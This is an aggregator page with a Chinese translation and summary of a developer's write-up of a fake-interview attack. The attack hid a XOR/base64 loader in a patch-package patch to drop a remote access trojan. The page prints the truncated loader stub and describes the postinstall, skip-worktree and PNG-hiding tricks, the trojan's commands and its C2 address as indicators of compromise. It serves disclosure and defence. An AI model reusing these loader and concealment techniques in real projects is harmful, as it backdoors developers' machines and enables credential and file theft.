AI HOT 精选

一次失败的(民族国家?)攻击的剖析

8.5内容质量
一次失败的(民族国家?)攻击的剖析

TL;DR · AI 摘要

一次伪装成面试的定向攻击被成功拦截,攻击者通过虚假邮件和恶意补丁植入后门,开发者需警惕代码审查盲区。

核心要点

  • 攻击者利用虚假面试邮件诱导开发者下载恶意仓库,其中包含 base64 混淆载荷。
  • 恶意补丁通过 patch-package 安装时触发,向系统目录写入后门文件 PinpinRAT。
  • 开发者应重新审视代码审查流程,特别注意补丁文件和 postinstall 钩子中的异常行为。

结构提纲

按章节快速跳转。

  1. 作者收到伪装成新加坡 VC 的虚假面试邮件,险些中招。

  2. 攻击者通过伪造身份和 LinkedIn 资料,诱导作者下载包含恶意补丁的 TypeScript 仓库。

  3. 恶意补丁通过 base64 混淆载荷在 patch-package 安装时触发,写入后门文件。

  4. 攻击者利用 postinstall 钩子和 git update-index 命令隐藏恶意补丁,实现后门植入。

  5. 开发者应加强代码审查,特别关注补丁文件和 postinstall 钩子中的异常行为。

思维导图

用一张图看清主题之间的关系。

查看大纲文本(无障碍 / 无 JS 友好)
  • 一次失败的(民族国家?)攻击的剖析
    • 攻击手法
      • 虚假面试邮件
      • 伪造 LinkedIn 资料
      • 诱导下载恶意仓库
    • 攻击链
      • 恶意补丁注入
      • base64 混淆载荷
      • postinstall 钩子触发后门
    • 防御建议
      • 加强代码审查
      • 关注补丁文件
      • 警惕 postinstall 钩子

金句 / Highlights

值得收藏与分享的关键句。

  • 攻击者通过伪造身份和 LinkedIn 资料,诱导作者下载包含恶意补丁的 TypeScript 仓库。

    第 2 段

    ⬇︎ 下载 PNG𝕏 分享到 X
  • 恶意补丁通过 base64 混淆载荷在 patch-package 安装时触发,写入后门文件。

    第 3 段

    ⬇︎ 下载 PNG𝕏 分享到 X
  • 攻击者利用 postinstall 钩子和 git update-index 命令隐藏恶意补丁,实现后门植入。

    第 4 段

    ⬇︎ 下载 PNG𝕏 分享到 X
#安全#攻击分析#代码审查#Rust#TypeScript
打开原文

一次失败的(民族国家?)攻击的剖析 · AI HOT

Hacker News 热门(buzzing.cc 中文翻译)

精选

81

一次失败的(民族国家?)攻击的剖析

2026-06-27 23:39

·

5小时前

signa11

阅读原文

grack.com

精选理由

这是一次近乎完美的开发者定向攻击复盘,虚假面试加上精心构造的补丁注入 RAT,手法隐蔽到连作者都差点中招,所有靠开源吃饭的人都该认真看看 Ioc 并重新审视自己的代码审查盲区。

AI 摘要

作者收到伪装成新加坡VC Lua Ventures的虚假面试邮件,要求完成一个TypeScript仓库的“测试”。作者将仓库交给Claude扫描,在 typescript+5.9.2.patch 中发现base64混淆载荷,该载荷在 patch-package 安装时触发,向 ~/.cache- 等目录写入 payload.js 和 mutex.js ,构成后门(命名PinpinRAT)。攻击者使用虚构身份和空洞LinkedIn资料,目标是作者在crates.io上的Rust包。相关信息已报告加拿大CCCS等机构。

AI 翻译 · 中文

显示原文

披露声明

🧠 本文完全由人类撰写:除 IoC(入侵指标)信息外,所有文字均出自人手。由于时间紧迫,借助 Claude 加速了 RAT 分析并构建了 IoC 检测脚本。

我居住在加拿大,因此已将此事报告给相应的加拿大机构(CCCS 等)。携带载荷的图片在 VirusTotal 上未触发任何杀毒引擎。

攻击者的身份是虚构的,但存在同名且与此事无关的个人,他们可能被误认,故本文中已隐去该姓名。

在 Reddit 上,Rust 社区中还有几位用户提到他们也成为了攻击目标。

本周,我险些遭遇一场伪装成面试的诈骗,旨在给我的计算机植入后门。从邮件上下文判断,我推测目标是我在 crates.io 上的软件包。

注:我将其命名为“PinpinRAT”,因为内部字符串中含有该名称,但可能它还有其他名字。我在网上未找到任何其他相关引用。

一周半前,我收到一封来自“D█████ S████”的邮件,自称来自 Lua Ventures——一家我当时并不知已倒闭的新加坡 DeFi 领域风投公司。需要澄清的是:这是一个伪造的身份,该姓名很可能故意选择得与多位真实人物容易混淆。

这封邮件看起来像真邮件,内含一个链接,指向一个略显平淡但看起来真实的 LinkedIn 个人资料。

攻击者甚至还提到了他们的两项投资,这两家公司当时正在寻求顾问服务:Lyrasing 和 Roadpay。搜索这两家公司并未发现明显异常——它们都有一些非常基础的网络存在,但没有任何迹象表明它们是假的,而非仅仅是早期阶段公司。(archive.org 上 roadpay.cc 的快照)。

我们就会议时间来回沟通,最终确定了通话时间。通话本身也并无异常。电话另一端是一位带有德国口音、讲话有些难以理解的男士。他说自己是在旅行途中接听电话,这有点奇怪,但同样不一定是可疑信号。

通话结束后,诱饵来了。一封后续邮件提供了一份“测试”。

到这一步,我只是有点烦,但还没起疑心。我把仓库克隆下来,但真正让我觉得不对劲的第一个信号,是到这里才出现的。

我走运的地方在于:他们发给我的是一个 TypeScript 仓库。我总觉得哪里不对劲。这份说明看起来更像是一份 TypeScript 的面试题,而不是什么架构分析。我决定把这个仓库打个包,扔给 Claude 快速扫描一下——一半是出于谨慎,一半是出于偷懒。

没过多久,它就识别出了一些异常:

值得注意的是,根目录下的 package.json 没有 postinstall/preinstall 钩子——这很有意思,因为他们用了 patch-package,而 patch-package 通常会挂载到 postinstall 上。让我检查一下每个 package.json 里的生命周期脚本,然后审计一下 patch 文件(真正的风险面——patch 可以在 node_modules 中注入任意代码)。

这引起了我的兴趣。我亲自扫描了目录,发现 patches/ 目录的数量多得有点不合理。我检查的前几个 patch 看起来人畜无害,但你可能也猜到了,它们只是想制造噪声,好让真正的恶意负载不被发现。

code
packages/electron-benchmarks/patches/sumchecker+3.0.1.patch
packages/electron-benchmarks/patches/@electron+get+2.0.3.patch
packages/electron-benchmarks/patches/extract-zip+2.0.1.patch

在我手动慢慢检查的时候,Claude 识别出了 PinpinRAT 的初步迹象:

我找到了。这是一个恶意负载。它被嵌入在 typescript+5.9.2.patch 文件中——在同一个被伪装成 TypeScript 常规“模块说明符”补丁的内容里——有一段 base64 编码的 blob 自执行混淆存根,被注入到了 _tsc.js 和 typescript.js 这两个文件的最开头:

;;( function ( r , k ){ const d = Buffer . from ( r , ' base64 ' ); for ( let i = 0 ; i < d . length ; i += 1 ) d [ i ] ^= k ; return new Function ( ' require ' , ' Buffer ' , ' WebAssembly ' , ' process ' , ' __dirname ' , d . toString ( ' utf8 ' ))( require , Buffer , WebAssembly , process , __dirname )})( " YWFg... " , 73 ) /*12ff4b51*/ void " ticket-harbor-tsc-shim-anchor " ;

这段代码解码一个 base64 字符串,用密钥 73 对每个字节进行 XOR 解密,然后通过 new Function(…) 执行结果,并传入 require、process、Buffer 等参数。这是一个隐藏的代码执行负载,每次运行 tsc 或任何导入 typescript.js 的代码时都会触发——也就是说,在第一次执行 npm run typecheck / build / dev 的时候就会触发。

……到这一步,我决定不在自己的机器上继续捅这个马蜂窝了。我把仓库用一个密码压缩起来,防止自己不小心引爆它,然后继续在沙盒环境中进行分析。

陷阱

这个仓库的主题是一个名为“Ticket Harbor”的轮渡票务应用。捆绑包里的 task.txt 文件列出的是一堆看似合理的无聊任务,但它的结尾是:

在提交前运行仓库的类型检查、测试套件以及相关的桌面/服务器构建命令。

那条指令就是让你中招的陷阱。

整条攻击链是这样的:

  • 四个独立的 postinstall 钩子会运行 patch-package。但其中一个钩子还会对补丁文件执行 git update-index --skip-worktree,从而将它们隐藏起来不让 git status 发现。
  • typescript+5.9.2.patchtypescript.js_tsc.js 的顶部注入了一个自执行桩。这是一个轻度混淆的代码块,被送入 new Function(...)(大概是避免使用 eval 以规避恶意软件检测)。
  • 该加载器读取一个隐藏在名为 operators/3.png 文件末尾的块,运行一个嵌入的小型 WASM 桩(位于一个自定义的 wAsm 块中),然后生成一个分离的、静默的 Node 进程,该进程携带一个 1.68 MB 的混淆二级有效载荷。
  • 它在三个层面进行自我清理:git skip-worktree 技巧、释放器在首次运行后重写补丁以删除自身注入的行,以及二级临时目录在执行时自删除。

实际的有效载荷是一个 RAT(远程访问木马)。我原本担心这是凭证窃取器,但实际上要糟糕得多。PinpinRAT 嵌套在三个混淆层中,解包过程很痛苦:obfuscator.io(自称有 LLM 防护功能,呵),以及另外两个 base64 层。

它释放了什么

为了 1) 快速分享这些信息 2) 避免意外在自己的机器上引爆恶意软件,我让 Claude 在其沙箱中拆解了实际的木马,并让它向我描述。

需要明确说明:Claude 在大约 5 分钟的工作中就逆向工程了多层混淆,这比我本人快得多。

释放的是一个完整的远程访问木马,看起来是由一个懂行的人拼凑出来的。它在本地设置了一个 RSA 密钥,并使用 AES-256-CBC 作为会话密钥。

启动时,它调用一个签到例程,收集并外传主机指纹:

  • 主 IP 地址(枚举所有非内部接口),以及所有 IP
  • 用户名 (os.userInfo().username)
  • 主机名
  • 操作系统类型 + 版本 + 平台 + 架构
  • 进程 PID 和完整的 process.argv
  • Node 版本

它会生成一个 RSA-2048 密钥对和一个随机的 AES-256 会话密钥(aes_psk),之后所有后续流量都会使用 AES-256-CBC 加密,并附带 HMAC-SHA256 完整性标签。

它支持以下命令:

  • env — 将 JSON.stringify(process.env) 转储并发送回来。
  • upload — 读取任意文件路径并窃取该文件。
  • download — 将攻击者提供的字节写入任何可写路径。
  • spawn — 运行任意进程,并可选启用 shell 扩展。
  • ls / cd / pwd / cp / mv — 通用文件系统原语。
  • dns — 使主机通过指定解析器解析任意名称(用于 DNS 隧道?)。
  • dismantle — 自我删除。

入侵指征

如果你不慎运行了其中某个脚本,应立即将系统从网络中断开,并在另一台机器上轮换你的凭据。清除工作应较为直接,但请认为你的凭据(包括 Cookie 和受密码保护的密钥)已经泄露。

以下是在 PinpinRAT 恶意软件中发现的一些入侵指征:

  • C2:89.124.107.161:80
  • 计划任务(Windows):PinpinWrappedJs
  • 进程伪装(macOS):com.apple.WebKit.Networking
  • 环境变量:NODT_PAYLOAD_PATH、NODT_PAYLOAD_ARGS
  • PNG 块防护:WASMPACK (wAsm)
  • PINPIN_NO_AUTOSTART=1:阻止持久化
  • 带有 mutex.js 的 cron 任务(仅当 RAT 具有权限时才存在,macOS 上可能没有)
  • typescript.js 中的锚字符串:12ff4b51、ticket-harbor-tsc-shim-anchor
  • 包含负载的 typescript+5.9.2.patch
  • Artifact dirs: ~/Library/Caches/runtime-cache/.cache-<randomhex>/ (macOS), /tmp/.cache-<randomhex>/ (Linux), %TEMP%\.cache-<randomhex>\ (Windows) .. 其中包含 payload.js 和 mutex.js

我本应更早发现的警示信号

有几个地方我本应更早看出警示信号。这场攻击活动的目标是让这些信号足够隐晦,不至于触发你的防御机制,但你需要保持足够的警觉,以便在足够多的黄色警示信号堆积成红色警示信号时及时发现。

仔细看的话,这些消息带有一些大语言模型的痕迹。这可能是一个信号,表明你应该对任何内容都持有极度怀疑的态度。

那个 LinkedIn 个人资料乍一看像是真的,但里面全是胡言乱语(“BSc(Hons), MA (Dist), PGDipFM, CEng”?),至少应该触发某种沙拉感。没有任何真实的活动痕迹。

他们网站上的社交媒体链接确实有一段真实历史,但名字在2025年11月更改过。所有帖子内容空洞,都是对某些公司含糊其辞的赞扬,而这些公司本身没有任何具体描述。

那些拥有网站的公司,除了光鲜的页面之外,根本没有任何真实实体存在。

他们从未发送过正式的邀请——只给了一个时间和一个Google Meet链接。哪家风投不用日历?他们全程摄像头关闭,还声称自己“在出差”。

还有整体策略:一家总部设在新加坡的风投基金,按中欧夏令时运营,联系一位加拿大的开发者,域名瞄准美国客户却以.cc结尾。要核查一个如此遥远的机构的资质,难度要大得多。

事后看来,没有任何事是显而易见的,但如果你把整件事连起来看,缺失的拼图就在那里。

那么,这到底是谁?

无法确定,但这次攻击目标明确,有相当令人信服的假身份和伪装故事,多个伪造网站利用盗用的历史记录,而且时间线耐心布局。那个Git陷阱相当复杂。这种“虚假面试骗局”在2026年已成为多个攻击者的惯用套路。

幕后黑手究竟是谁,现在该由相关部门来负责追查了。值得注意的一点是,这次攻击的目标是你我这样的开发者,而我足够幸运,在触发陷阱之前就看到了一个危险信号。

老实说,最让我感到恐惧和清醒的是:如果那是一个搭载了恶意 build.rs 脚本的 Rust 仓库,我可能已经上当了。